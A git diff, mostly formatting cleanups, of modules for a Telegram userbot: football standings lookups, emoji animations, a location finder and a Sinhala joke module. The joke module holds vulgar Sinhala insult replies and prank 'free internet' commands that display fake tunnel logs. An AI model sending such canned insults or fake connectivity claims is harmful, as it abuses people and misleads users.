Config.FOOTBALL_API_KEY is None: - await event.edit("Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!") - return - + await event.edit( + "Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!" + ) + return + appo = Config.FOOTBALL_API_KEY url = "https://api-football-beta.p.rapidapi.com/standings" - querystring = {"season":"2020","league":"39"} - headers = {'x-rapidapi-key': appo,'x-rapidapi-host': "api-football-beta.p.rapidapi.com"} + querystring = {"season": "2020", "league": "39"} + headers = { + "x-rapidapi-key": appo, + "x-rapidapi-host": "api-football-beta.p.rapidapi.com", + } response = requests.request("GET", url, headers=headers, params=querystring) a = response.json() b = a.get("response") c = b[0] - d = c.get('league') - e = d.get('name') + d = c.get("league") + e = d.get("name") f = d.get("country") logo = d.get("logo") season = d.get("season") @@ -50,7 +57,7 @@ async def _(event): kk = i.get("all") pl = kk.get("played") wein = kk.get("win") - yqw= kk.get("draw") + yqw = kk.get("draw") pol = kk.get("lose") nex = h[1] new = nex.get("rank") @@ -58,19 +65,18 @@ async def _(event): nee = np.get("name") popo = nex.get("points") oloq = nex.get("all") - pl1 = oloq.get("played") + oloq.get("played") wein1 = oloq.get("win") yqw1 = oloq.get("draw") pol1 = oloq.get("lose") - nex2 = h[2] new2 = nex2.get("rank") np2 = nex2.get("team") nee2 = np2.get("name") popo2 = nex2.get("points") oloq2 = nex2.get("all") - pl2 = oloq2.get("played") + oloq2.get("played") wein2 = oloq2.get("win") yqw2 = oloq2.get("draw") pol2 = oloq2.get("lose") @@ -81,7 +87,7 @@ async def _(event): nee3 = np3.get("name") popo3 = nex3.get("points") oloq3 = nex3.get("all") - pl3 = oloq3.get("played") + oloq3.get("played") wein3 = oloq3.get("win") yqw3 = oloq3.get("draw") pol3 = oloq3.get("lose") @@ -92,12 +98,11 @@ async def _(event): nee4 = np4.get("name") popo4 = nex4.get("points") oloq4 = nex4.get("all") - pl4 = oloq4.get("played") + oloq4.get("played") wein4 = oloq4.get("win") yqw4 = oloq4.get("draw") pol4 = oloq4.get("lose") - caption = f"""{e} Country:- {f} season = {season} @@ -145,25 +150,31 @@ async def _(event): ) await event.delete() + @friday.on(admin_cmd(pattern="ffl")) async def _(event): if event.fwd_from: return - + if Config.FOOTBALL_API_KEY is None: - await event.edit("Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!") - return - + await event.edit( + "Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!" + ) + return + appo = Config.FOOTBALL_API_KEY url = "https://api-football-beta.p.rapidapi.com/standings" - querystring = {"season":"2020","league":"61"} - headers = {'x-rapidapi-key': appo,'x-rapidapi-host': "api-football-beta.p.rapidapi.com"} + querystring = {"season": "2020", "league": "61"} + headers = { + "x-rapidapi-key": appo, + "x-rapidapi-host": "api-football-beta.p.rapidapi.com", + } response = requests.request("GET", url, headers=headers, params=querystring) a = response.json() b = a.get("response") c = b[0] - d = c.get('league') - e = d.get('name') + d = c.get("league") + e = d.get("name") f = d.get("country") logo = d.get("logo") season = d.get("season") @@ -178,7 +189,7 @@ async def _(event): kk = i.get("all") pl = kk.get("played") wein = kk.get("win") - yqw= kk.get("draw") + yqw = kk.get("draw") pol = kk.get("lose") nex = h[1] new = nex.get("rank") @@ -186,19 +197,18 @@ async def _(event): nee = np.get("name") popo = nex.get("points") oloq = nex.get("all") - pl1 = oloq.get("played") + oloq.get("played") wein1 = oloq.get("win") yqw1 = oloq.get("draw") pol1 = oloq.get("lose") - nex2 = h[2] new2 = nex2.get("rank") np2 = nex2.get("team") nee2 = np2.get("name") popo2 = nex2.get("points") oloq2 = nex2.get("all") - pl2 = oloq2.get("played") + oloq2.get("played") wein2 = oloq2.get("win") yqw2 = oloq2.get("draw") pol2 = oloq2.get("lose") @@ -209,7 +219,7 @@ async def _(event): nee3 = np3.get("name") popo3 = nex3.get("points") oloq3 = nex3.get("all") - pl3 = oloq3.get("played") + oloq3.get("played") wein3 = oloq3.get("win") yqw3 = oloq3.get("draw") pol3 = oloq3.get("lose") @@ -220,12 +230,11 @@ async def _(event): nee4 = np4.get("name") popo4 = nex4.get("points") oloq4 = nex4.get("all") - pl4 = oloq4.get("played") + oloq4.get("played") wein4 = oloq4.get("win") yqw4 = oloq4.get("draw") pol4 = oloq4.get("lose") - caption = f"""{e} Country:- {f} season = {season} @@ -273,25 +282,31 @@ async def _(event): ) await event.delete() + @friday.on(admin_cmd(pattern="fuefa$")) async def _(event): if event.fwd_from: return - + if Config.FOOTBALL_API_KEY is None: - await event.edit("Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!") - return - + await event.edit( + "Need to get an API key from https://rapidapi.com/api-sports/api/api-football-beta\nModule stopping!" + ) + return + appo = Config.FOOTBALL_API_KEY url = "https://api-football-beta.p.rapidapi.com/standings" - querystring = {"season":"2020","league":"2"} - headers = {'x-rapidapi-key': appo,'x-rapidapi-host': "api-football-beta.p.rapidapi.com"} + querystring = {"season": "2020", "league": "2"} + headers = { + "x-rapidapi-key": appo, + "x-rapidapi-host": "api-football-beta.p.rapidapi.com", + } response = requests.request("GET", url, headers=headers, params=querystring) a = response.json() b = a.get("response") c = b[0] - d = c.get('league') - e = d.get('name') + d = c.get("league") + e = d.get("name") f = d.get("country") logo = d.get("logo") season = d.get("season") @@ -306,7 +321,7 @@ async def _(event): kk = i.get("all") pl = kk.get("played") wein = kk.get("win") - yqw= kk.get("draw") + yqw = kk.get("draw") pol = kk.get("lose") nex = h[1] new = nex.get("rank") @@ -314,19 +329,18 @@ async def _(event): nee = np.get("name") popo = nex.get("points") oloq = nex.get("all") - pl1 = oloq.get("played") + oloq.get("played") wein1 = oloq.get("win") yqw1 = oloq.get("draw") pol1 = oloq.get("lose") - nex2 = h[2] new2 = nex2.get("rank") np2 = nex2.get("team") nee2 = np2.get("name") popo2 = nex2.get("points") oloq2 = nex2.get("all") - pl2 = oloq2.get("played") + oloq2.get("played") wein2 = oloq2.get("win") yqw2 = oloq2.get("draw") pol2 = oloq2.get("lose") @@ -337,12 +351,11 @@ async def _(event): nee3 = np3.get("name") popo3 = nex3.get("points") oloq3 = nex3.get("all") - pl3 = oloq3.get("played") + oloq3.get("played") wein3 = oloq3.get("win") yqw3 = oloq3.get("draw") pol3 = oloq3.get("lose") - caption = f"""{e} Country:- {f} season = {season} diff --git a/fridaybot/modules/fuck11.py b/fridaybot/modules/fuck11.py index f0f08066..253ea57b 100644 --- a/fridaybot/modules/fuck11.py +++ b/fridaybot/modules/fuck11.py @@ -10,51 +10,43 @@ import asyncio -import os, sys, random, re -from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP -from telethon import events +import random from asyncio import sleep -from fridaybot import bot - - - -img1=("https://t.me/danish2512/2") -img2=("https://t.me/danish2512/3") -img3=("https://t.me/danish2512/4") -img4=("https://t.me/danish2512/5") -img5=("https://t.me/danish2512/6") -img6=("https://t.me/danish2512/7") -img7=("https://t.me/danish2512/8") -img8=("https://t.me/danish2512/9") -img9=("https://t.me/danish2512/10") -img10=("https://t.me/danish2512/11") -img11=("https://t.me/danish2512/12") -img12=("https://t.me/danish2512/13") -img13=("https://t.me/danish2512/14") -img14=("https://t.me/danish2512/15") -img15=("https://t.me/danish2512/16") -img16=("https://t.me/danish2512/17") -img17=("https://t.me/danish2512/18") -img18=("https://t.me/danish2512/19") -img19=("https://t.me/danish2512/20") -img20=("https://t.me/danish2512/21") -img21=("https://t.me/danish2512/22") -img22=("https://t.me/danish2512/23") -img23=("https://t.me/danish2512/24") -img24=("https://t.me/danish2512/25") -img25=("https://t.me/danish2512/26") -img26=("https://t.me/danish2512/27") -img27=("https://t.me/danish2512/28") -img28=("https://t.me/danish2512/29") -img29=("https://t.me/danish2512/30") -img30=("https://t.me/danish2512/31") - - - +from fridaybot import CMD_HELP, bot +from ..utils import admin_cmd, edit_or_reply, sudo_cmd +img1 = "https://t.me/danish2512/2" +img2 = "https://t.me/danish2512/3" +img3 = "https://t.me/danish2512/4" +img4 = "https://t.me/danish2512/5" +img5 = "https://t.me/danish2512/6" +img6 = "https://t.me/danish2512/7" +img7 = "https://t.me/danish2512/8" +img8 = "https://t.me/danish2512/9" +img9 = "https://t.me/danish2512/10" +img10 = "https://t.me/danish2512/11" +img11 = "https://t.me/danish2512/12" +img12 = "https://t.me/danish2512/13" +img13 = "https://t.me/danish2512/14" +img14 = "https://t.me/danish2512/15" +img15 = "https://t.me/danish2512/16" +img16 = "https://t.me/danish2512/17" +img17 = "https://t.me/danish2512/18" +img18 = "https://t.me/danish2512/19" +img19 = "https://t.me/danish2512/20" +img20 = "https://t.me/danish2512/21" +img21 = "https://t.me/danish2512/22" +img22 = "https://t.me/danish2512/23" +img23 = "https://t.me/danish2512/24" +img24 = "https://t.me/danish2512/25" +img25 = "https://t.me/danish2512/26" +img26 = "https://t.me/danish2512/27" +img27 = "https://t.me/danish2512/28" +img28 = "https://t.me/danish2512/29" +img29 = "https://t.me/danish2512/30" +img30 = "https://t.me/danish2512/31" RUNSTRINGS = ( @@ -101,9 +93,7 @@ "රට්ටු හිනස්සන්න එපා මල්ලී.", "ආදරෙයි.. මැණික ❤❤", "💔 මල්ලියෝ!! ම්ං අර දෙන්නෙක්ට ආදරේ කරේ නෑනේ සුදු මල්ලියෝ!! 💔", - - ) - +) @bot.on(admin_cmd(pattern=r"\.(.*)", outgoing=True)) @@ -192,9 +182,10 @@ async def _(event): async def gn(event): await edit_or_reply( event, - "** කැරි පකයා **", + "** කැරි පකයා **", ) + from ..utils import admin_cmd, edit_or_reply, sudo_cmd @@ -203,15 +194,16 @@ async def gn(event): async def gn(event): await edit_or_reply( event, - "** පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල😎 **", + "** පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල😎 **", ) + @bot.on(admin_cmd(pattern="hp$")) @bot.on(sudo_cmd(pattern="hp$", allow_sudo=True)) async def gn(event): await edit_or_reply( event, - "** හුත්තිගෙ පුතා **", + "** හුත්තිගෙ පුතා **", ) @@ -220,64 +212,77 @@ async def gn(event): async def gn(event): await edit_or_reply( event, - "** කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!😂😂**", - ) + "** කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!😂😂**", + ) + @bot.on(admin_cmd(pattern="sm$")) @bot.on(sudo_cmd(pattern="sm$", allow_sudo=True)) async def gn(event): await edit_or_reply( event, - "** එහෙම එවා නෑ පුතා..😍 ඒ සෙලවෙන මනස **", + "** එහෙම එවා නෑ පුතා..😍 ඒ සෙලවෙන මනස **", ) - @bot.on(admin_cmd(pattern="fk$")) @bot.on(sudo_cmd(pattern="fk$", allow_sudo=True)) async def gn(event): await edit_or_reply( event, - "**පල හුත්තෝ යන්න 😂\n තෝ සමාජයට විහිළුවක් ඕයි 😒**", + "**පල හුත්තෝ යන්න 😂\n තෝ සමාජයට විහිළුවක් ඕයි 😒**", ) + @bot.on(admin_cmd(pattern="bs$")) @bot.on(sudo_cmd(pattern="bs$", allow_sudo=True)) async def gn(event): await edit_or_reply( event, - "** Good Night 🌙 Bs ☸️ Jp ✝️Tc 😘Byee...👋👋👋👋 **", + "** Good Night 🌙 Bs ☸️ Jp ✝️Tc 😘Byee...👋👋👋👋 **", ) - - + + @bot.on(admin_cmd(pattern=f"srun$", outgoing=True)) @bot.on(sudo_cmd(pattern="snun$", allow_sudo=True)) async def runstrings(event): txt = random.choice(RUNSTRINGS) await edit_or_reply(event, txt) + from fridaybot import CMD_HELP + + @bot.on(admin_cmd("newyear")) async def _(event): if event.fwd_from: return animation_interval = 1 - animation_ttl = range(0,80) + animation_ttl = range(0, 80) await event.edit("😊 HAPPY NEW YEAR 😁") - animation_chars = ["💖HAPPY NEW YEAR💖","💙HAPPY NEW YEAR💙","❤️HAPPY NEW YEAR❤️","💚HAPPY NEW YEAR💚","💜HAPPY NEW YEAR💜",] + animation_chars = [ + "💖HAPPY NEW YEAR💖", + "💙HAPPY NEW YEAR💙", + "❤️HAPPY NEW YEAR❤️", + "💚HAPPY NEW YEAR💚", + "💜HAPPY NEW YEAR💜", + ] for i in animation_ttl: - + await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 5]) + + @bot.on(admin_cmd("happynewyear")) async def _(event): if event.fwd_from: return animation_interval = 1 - animation_ttl = range(0,22) + animation_ttl = range(0, 22) await event.edit("😊 HAPPY NEW YEAR TO ALL 😁") - animation_chars = ["""💜💜 💜💜 + animation_chars = [ + """💜💜 💜💜 💜💜 💜💜 💜💜 💜💜 💜💜 💜💜 @@ -286,7 +291,8 @@ async def _(event): 💜💜 💜💜 💜💜 💜💜 💜💜 💜💜 -💜💜 💜💜""","""ㅤㅤㅤㅤㅤ ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ +💜💜 💜💜""", + """ㅤㅤㅤㅤㅤ ㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤㅤ 💙💙 💙💙💙 💙💙💙💙 @@ -297,7 +303,8 @@ async def _(event): 💙💙💙💙💙💙 💙💙 💙💙 💙💙 💙💙 -💙💙 💙💙""","""💚💚💚💚💚💚💚 +💙💙 💙💙""", + """💚💚💚💚💚💚💚 💚💚💚💚💚💚💚💚 💚💚 💚💚 💚💚 💚💚 @@ -306,7 +313,8 @@ async def _(event): 💚💚 💚💚 💚💚 -💚💚""","""💛💛💛💛💛💛 +💚💚""", + """💛💛💛💛💛💛 💛💛💛💛💛💛💛 💛💛 💛💛 💛💛 💛💛 @@ -315,7 +323,8 @@ async def _(event): 💛💛 💛💛 💛💛 -💛💛""","""💜💜 💜💜 +💛💛""", + """💜💜 💜💜 💜💜 💜💜 💜💜 💜💜 💜💜 💜💜 @@ -325,7 +334,7 @@ async def _(event): 💜💜 💜💜 💜💜""", -"""😺😺 😺😺 + """😺😺 😺😺 😺😺😺 😺😺 😺😺😺😺 😺😺 😺😺 😺😺 😺😺 @@ -335,7 +344,8 @@ async def _(event): 😺😺 😺😺😺😺 😺😺 😺😺😺 😺😺 😺😺 -""","""😁😁😁😁😁😁😁😁 +""", + """😁😁😁😁😁😁😁😁 😁😁😁😁😁😁😁😁 😁😁 😁😁 @@ -345,7 +355,7 @@ async def _(event): 😁😁 😁😁😁😁😁😁😁😁 😁😁😁😁😁😁😁😁""", -"""🥳🥳 🥳🥳 + """🥳🥳 🥳🥳 🥳🥳 🥳🥳 🥳🥳 🥳🥳 🥳🥳 🥳🥳 @@ -355,7 +365,7 @@ async def _(event): 🥳🥳 🥳🥳 🥳🥳 🥳🥳 🥳🥳🥳🥳 🥳🥳🥳🥳 🥳🥳🥳 🥳🥳🥳""", -"""🌈🌈 🌈🌈 + """🌈🌈 🌈🌈 🌈🌈 🌈🌈 🌈🌈 🌈🌈 🌈🌈 🌈🌈 @@ -365,7 +375,7 @@ async def _(event): 🌈🌈 🌈🌈 🌈🌈""", -"""🎊🎊🎊🎊🎊🎊🎊🎊 + """🎊🎊🎊🎊🎊🎊🎊🎊 🎊🎊🎊🎊🎊🎊🎊🎊 🎊🎊 🎊🎊 @@ -375,7 +385,7 @@ async def _(event): 🎊🎊 🎊🎊🎊🎊🎊🎊🎊🎊 🎊🎊🎊🎊🎊🎊🎊🎊""", -""" + """ ㅤ 🎉🎉 🎉🎉🎉 @@ -387,7 +397,7 @@ async def _(event): 🎉🎉 🎉🎉 🎉🎉 🎉🎉 🎉🎉 🎉🎉""", -""" + """ 🕉🕉🕉🕉🕉🕉🕉 🕉🕉🕉🕉🕉🕉🕉🕉 🕉🕉 🕉🕉 @@ -397,16 +407,13 @@ async def _(event): 🕉🕉 🕉🕉 🕉🕉 🕉🕉 🕉🕉 🕉🕉 -🕉🕉 🕉🕉"""] +🕉🕉 🕉🕉""", + ] for i in animation_ttl: - + await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 12]) - - - - @bot.on(admin_cmd(pattern=f"cyfile$", outgoing=True)) @bot.on(sudo_cmd(pattern=f"cyfile$", allow_sudo=True)) @@ -450,10 +457,12 @@ async def _(event): await asyncio.sleep(0.5) await event.edit("**Please do no share this host for longer use !!**") await asyncio.sleep(1) - await event.edit("**Your Host securaly stored. Get it from below link 👇\nhttps://telegra.ph/Dialog-Host-01-12**") + await event.edit( + "**Your Host securaly stored. Get it from below link 👇\nhttps://telegra.ph/Dialog-Host-01-12**" + ) await asyncio.sleep(2) - - + + @bot.on(admin_cmd(pattern=f"freenet$", outgoing=True)) @bot.on(sudo_cmd(pattern=f"freenet$", allow_sudo=True)) async def _(event): @@ -466,8 +475,6 @@ async def _(event): await asyncio.sleep(1) await event.edit("**හරි පුතේ එල අය ඔයාගේ data කැපෙන්නේ නෑ 👌**") await asyncio.sleep(1) - - @bot.on(admin_cmd(pattern=r"ehu$")) @@ -690,7 +697,6 @@ async def _(event): [ 16:58:59] Forward Successful [ 16:58:00] Connected `""", - """` [ 16:58:55] Tunnel Type HTTP Proxy ➔ SSH (Custom Payload) [ 16:58:55] [START] service requested @@ -793,27 +799,14 @@ async def _(event): [ 16:59:00] Routes excluded: 10.0.0.0/8, 140.238.246.145/32, 172.16.0.0/12, 192.168.0.0/16 [ 16:59:01] VPN Connected [ 16:59:02] Type: WIFI | State: CONNECTED | "VirtualUserbot" -`""" -, - +`""", ] for i in animation_ttl: await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 18]) - - - - - - - - - - @borg.on(admin_cmd(outgoing=True, pattern="merrychristmas")) - async def _(event): if event.fwd_from: @@ -842,113 +835,104 @@ async def _(event): await sleep(3.7) await event.edit("🎄") await sleep(3.2) - await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.") + await event.edit(".\n\n\n**𝐌𝒆𝒓𝒓𝒚 𝑪𝒉𝒊𝒔𝒕𝒎𝒂𝒔😊😊**\n\n\n.") await sleep(2.9) - danish = await bot.send_file(event.chat_id,"https://t.me/mcmc2021/36") + danish = await bot.send_file(event.chat_id, "https://t.me/mcmc2021/36") await sleep(4) - x=(random.randrange(0,30)) - if x==1: - await bot.send_file(event.chat_id,img1) - - if x==2: - await bot.send_file(event.chat_id,img2) - - if x==3: - await bot.send_file(event.chat_id,img3) - - if x==4: - await bot.send_file(event.chat_id,img4) - - if x==5: - await bot.send_file(event.chat_id,img5) - - if x==6: - await bot.send_file(event.chat_id,img6) - - if x==7: - await bot.send_file(event.chat_id,img7) - - if x==8: - await bot.send_file(event.chat_id,img8) - - if x==9: - await bot.send_file(event.chat_id,img9) - - if x==10: - await bot.send_file(event.chat_id,img10) - - if x==11: - await bot.send_file(event.chat_id,img11) - - if x==12: - await bot.send_file(event.chat_id,img12) - - if x==13: - await bot.send_file(event.chat_id,img13) - - if x==14: - await bot.send_file(event.chat_id,img14) - - if x==15: - await bot.send_file(event.chat_id,img15) - - if x==16.: - await bot.send_file(event.chat_id,img16) - - - if x==17: - await bot.send_file(event.chat_id,img17) - - if x==18: - await bot.send_file(event.chat_id,img18) - - if x==19: - await bot.send_file(event.chat_id,img19) - - if x==20: - await bot.send_file(event.chat_id,img20) - - if x==21: - await bot.send_file(event.chat_id,img21) - - if x==22: - await bot.send_file(event.chat_id,img22) - - - if x==23: - await bot.send_file(event.chat_id,img23) - - - if x==24: - await bot.send_file(event.chat_id,img24) - - - if x==25: - await bot.send_file(event.chat_id,img25) - - - if x==26: - await bot.send_file(event.chat_id,img26) - - - if x==27: - await bot.send_file(event.chat_id,img27) - - - if x==28: - await bot.send_file(event.chat_id,img28) - - - if x==29: - await bot.send_file(event.chat_id,img29) - - - if x==30: - await bot.send_file(event.chat_id,img30) - - - - - - -CMD_HELP.update({"Sinhala_Jokes": "\n**Config Fun**\n\n.freenet `- fun`\n.ehu `- Ehi file connecting`\n.cyfiles `- cyh connecting`\n\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n.bs\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`"}) + x = random.randrange(0, 30) + if x == 1: + await bot.send_file(event.chat_id, img1) + + if x == 2: + await bot.send_file(event.chat_id, img2) + + if x == 3: + await bot.send_file(event.chat_id, img3) + + if x == 4: + await bot.send_file(event.chat_id, img4) + + if x == 5: + await bot.send_file(event.chat_id, img5) + + if x == 6: + await bot.send_file(event.chat_id, img6) + + if x == 7: + await bot.send_file(event.chat_id, img7) + + if x == 8: + await bot.send_file(event.chat_id, img8) + + if x == 9: + await bot.send_file(event.chat_id, img9) + + if x == 10: + await bot.send_file(event.chat_id, img10) + + if x == 11: + await bot.send_file(event.chat_id, img11) + + if x == 12: + await bot.send_file(event.chat_id, img12) + + if x == 13: + await bot.send_file(event.chat_id, img13) + + if x == 14: + await bot.send_file(event.chat_id, img14) + + if x == 15: + await bot.send_file(event.chat_id, img15) + + if x == 16.0: + await bot.send_file(event.chat_id, img16) + + if x == 17: + await bot.send_file(event.chat_id, img17) + + if x == 18: + await bot.send_file(event.chat_id, img18) + + if x == 19: + await bot.send_file(event.chat_id, img19) + + if x == 20: + await bot.send_file(event.chat_id, img20) + + if x == 21: + await bot.send_file(event.chat_id, img21) + + if x == 22: + await bot.send_file(event.chat_id, img22) + + if x == 23: + await bot.send_file(event.chat_id, img23) + + if x == 24: + await bot.send_file(event.chat_id, img24) + + if x == 25: + await bot.send_file(event.chat_id, img25) + + if x == 26: + await bot.send_file(event.chat_id, img26) + + if x == 27: + await bot.send_file(event.chat_id, img27) + + if x == 28: + await bot.send_file(event.chat_id, img28) + + if x == 29: + await bot.send_file(event.chat_id, img29) + + if x == 30: + await bot.send_file(event.chat_id, img30) + + +CMD_HELP.update( + { + "Sinhala_Jokes": "\n**Config Fun**\n\n.freenet `- fun`\n.ehu `- Ehi file connecting`\n.cyfiles `- cyh connecting`\n\n**RUN STRINGS**\n.srun - Daisy's Run Strings to VirtualUserbot 😂..\n\n**Nothing to Say**\n.boobs\n.butts\n\n**Funny Animations.**\n.fuuk\n.sux\n.kiss\n.lovestory\n.gdbye\n.hbty\n.merrychristmas\n.bs\n\n**Frequently using quotes\n.hu - `කවුරුන් කෙසේ කීවද ඵරුස වචන භාවිතය ඔබේ අරක පණ නැති කරවයි!`\n.slo - `පෝන් එක හිරවෙනවාද?? ගලක්මත තබා හොඳින් තලන්න නිසැක ප්‍රතිඵල`\n.hp - `හුත්තිගෙ පුතා`\n.kp - `කැරි පකයා`\n.sm - `එහෙම එවා නෑ පුතා.ඒ සෙලවෙන මනස`\n.fk - `පල හුත්තෝ යන්න. තෝ සමාජයට විහිලුවක් ඕයි`" + } +) diff --git a/fridaybot/modules/funarts.py b/fridaybot/modules/funarts.py index b6d96e17..655bbae9 100644 --- a/fridaybot/modules/funarts.py +++ b/fridaybot/modules/funarts.py @@ -1,8 +1,9 @@ from telethon.tl.types import ChannelParticipantsAdmins -from ..utils import admin_cmd, sudo_cmd from fridaybot import CMD_HELP +from ..utils import admin_cmd, sudo_cmd + @bot.on(admin_cmd(pattern="join$")) @bot.on(sudo_cmd(pattern="join$", allow_sudo=True)) diff --git a/fridaybot/modules/funnyfonts.py b/fridaybot/modules/funnyfonts.py index 2bb9a43d..27d64bc4 100644 --- a/fridaybot/modules/funnyfonts.py +++ b/fridaybot/modules/funnyfonts.py @@ -2,10 +2,11 @@ import random import re -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import CMD_HELP from fridaybot.modules import fonts +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + @bot.on(admin_cmd(pattern="str(?: |$)(.*)")) @bot.on(sudo_cmd(pattern="str(?: |$)(.*)", allow_sudo=True)) diff --git a/fridaybot/modules/funtxt2.py b/fridaybot/modules/funtxt2.py index 38c4ed1a..5ba0d0e3 100644 --- a/fridaybot/modules/funtxt2.py +++ b/fridaybot/modules/funtxt2.py @@ -1,8 +1,9 @@ import nekos -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import CMD_HELP +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + @bot.on(admin_cmd(pattern="tcat$")) @bot.on(sudo_cmd(pattern="tcat$", allow_sudo=True)) diff --git a/fridaybot/modules/games.py b/fridaybot/modules/games.py index f49d335e..9994a4e1 100644 --- a/fridaybot/modules/games.py +++ b/fridaybot/modules/games.py @@ -4,8 +4,9 @@ # So wahi...Enjoy import re -import random + from fridaybot import bot + from ..utils import admin_cmd IF_EMOJI = re.compile( @@ -20,29 +21,29 @@ "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs "\U0001FA00-\U0001FA6F" # Chess Symbols "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A - "\U00002702-\U000027B0" # Dingbats - "]+") + "\U00002702-\U000027B0" # Dingbats + "]+" +) + def deEmojify(inputString: str) -> str: """Remove emojis and other non-safe characters from string""" - return re.sub(IF_EMOJI, '', inputString) + return re.sub(IF_EMOJI, "", inputString) @borg.on(admin_cmd(pattern="playxo(?: |$)(.*)")) - async def nope(doit): ok = doit.pattern_match.group(1) if not ok: if doit.is_reply: - what = (await doit.get_reply_message()).message - + (await doit.get_reply_message()).message + return - xoxoxo = await bot.inline_query( - "xobot", f"{(deEmojify(ok))}") - await xoxoxo[0].click(doit.chat_id, - reply_to=doit.reply_to_msg_id, - silent=True if doit.is_reply else False, - hide_via=True) + xoxoxo = await bot.inline_query("xobot", f"{(deEmojify(ok))}") + await xoxoxo[0].click( + doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True, + ) await doit.delete() - - diff --git a/fridaybot/modules/gdbye.py b/fridaybot/modules/gdbye.py index a3bb840e..51a748ec 100644 --- a/fridaybot/modules/gdbye.py +++ b/fridaybot/modules/gdbye.py @@ -5,7 +5,6 @@ import asyncio -from telethon.tl.functions.users import GetFullUserRequest from uniborg.util import friday_on_cmd from fridaybot import CMD_HELP @@ -13,26 +12,23 @@ @friday.on(friday_on_cmd(pattern=r"gdbye")) async def _(event): - + animation_interval = 2 animation_ttl = range(0, 11) - - + await event.edit("Thanks for contacting me..\n I'm Going to leave now...") animation_chars = [ - "**Bye 🙏\n Ending this chat 😒**", "**I'm leaving this chat now 🙏**", "You can again contact me anytime you like", "Please Don't forget to Join @InfinityJE our group", "**Have a Good Day.. **", "බොහොම ස්තූතී මාත් එක්ක කතාකරාට.. 🙏\n මම දැන් මේ chat එකෙන් පොඩ්ඩක් එලියට යනවා..😜 \n ඔයාට සුබ දවසක් වේවා..\n\n✌️ **LEFT THE CHAT** ✌️", - - ] + ] for i in animation_ttl: await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 11]) - + CMD_HELP.update( { diff --git a/fridaybot/modules/gettime.py b/fridaybot/modules/gettime.py index 5d038ff7..f99a23fa 100644 --- a/fridaybot/modules/gettime.py +++ b/fridaybot/modules/gettime.py @@ -1,10 +1,6 @@ - from datetime import datetime -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd,edit_or_reply - - +from fridaybot.utils import edit_or_reply, friday_on_cmd @friday.on(friday_on_cmd("gettime ?(.*)")) # pylint:disable=E0602 @@ -14,15 +10,15 @@ async def gn(event): current_time = datetime.now().strftime( "CURRENT DATE & TIME \nLOCATION: Sri Lanka \nTime: %H:%M:%S \nDate: %d.%m.%y" ) - start = datetime.now() + datetime.now() input_str = event.pattern_match.group(1) - reply_msg_id = event.message.id + event.message.id if input_str: current_time = input_str elif event.reply_to_msg_id: previous_message = await event.get_reply_message() - reply_msg_id = previous_message.id + previous_message.id await edit_or_reply( event, - current_time, + current_time, ) diff --git a/fridaybot/modules/gps2.py b/fridaybot/modules/gps2.py index 7ffddf69..67ae0133 100644 --- a/fridaybot/modules/gps2.py +++ b/fridaybot/modules/gps2.py @@ -1,11 +1,11 @@ +import re from geopy.geocoders import Nominatim -from ..utils import admin_cmd from telethon.tl import types -from fridaybot import CMD_HELP -import re -import random -from fridaybot import bot + +from fridaybot import CMD_HELP, bot + +from ..utils import admin_cmd @borg.on(admin_cmd(pattern="locate ?(.*)")) @@ -29,12 +29,7 @@ async def gps(event): lon = geoloc.longitude lat = geoloc.latitude await reply_to_id.reply( - input_str, - file=types.InputMediaGeoPoint( - types.InputGeoPoint( - lat, lon - ) - ) + input_str, file=types.InputMediaGeoPoint(types.InputGeoPoint(lat, lon)) ) await event.delete() else: @@ -53,34 +48,34 @@ async def gps(event): "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs "\U0001FA00-\U0001FA6F" # Chess Symbols "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A - "\U00002702-\U000027B0" # Dingbats - "]+") + "\U00002702-\U000027B0" # Dingbats + "]+" +) + def deEmojify(inputString: str) -> str: """Remove emojis and other non-safe characters from string""" - return re.sub(IF_EMOJI, '', inputString) + return re.sub(IF_EMOJI, "", inputString) 